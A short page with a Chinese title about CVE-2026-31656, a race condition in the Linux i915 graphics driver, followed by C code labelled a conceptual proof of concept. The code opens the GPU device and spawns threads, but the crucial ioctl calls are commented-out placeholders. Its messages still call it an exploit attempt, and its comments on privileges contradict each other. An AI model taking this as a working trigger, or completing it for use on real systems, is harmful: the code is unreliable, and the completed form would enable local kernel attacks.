CVE-2026-31656 Linux内核i915驱动竞态条件漏洞

/* * Conceptual PoC for CVE-2026-31656 (Race Condition) * This code attempts to trigger the race by spamming GPU operations. * Requires root/sudo to interact with kernel modules directly in some setups, * but the vulnerability is triggered by local unprivileged users. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/dri/card0" // Typical path for i915 void* workload_thread(void* arg) { // Simulate heavy workload to trigger engine park/unpark cycles // In a real exploit, this involves specific DRM_IOCTL calls for (int i = 0; i < 10000; i++) { // Placeholder for actual ioctl calls to i915 // ioctl(fd, DRM_IOCTL_I915_GEM_EXECBUFFER2, ...); usleep(1); } return NULL; } int main() { pthread_t t1, t2; int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("[+] Starting race condition trigger for CVE-2026-31656\n"); // Create multiple threads to increase likelihood of race pthread_create(&t1, NULL, workload_thread, NULL); pthread_create(&t2, NULL, workload_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); close(fd); printf("[+] Exploit attempt finished. Check dmesg for refcount errors.\n"); return 0; }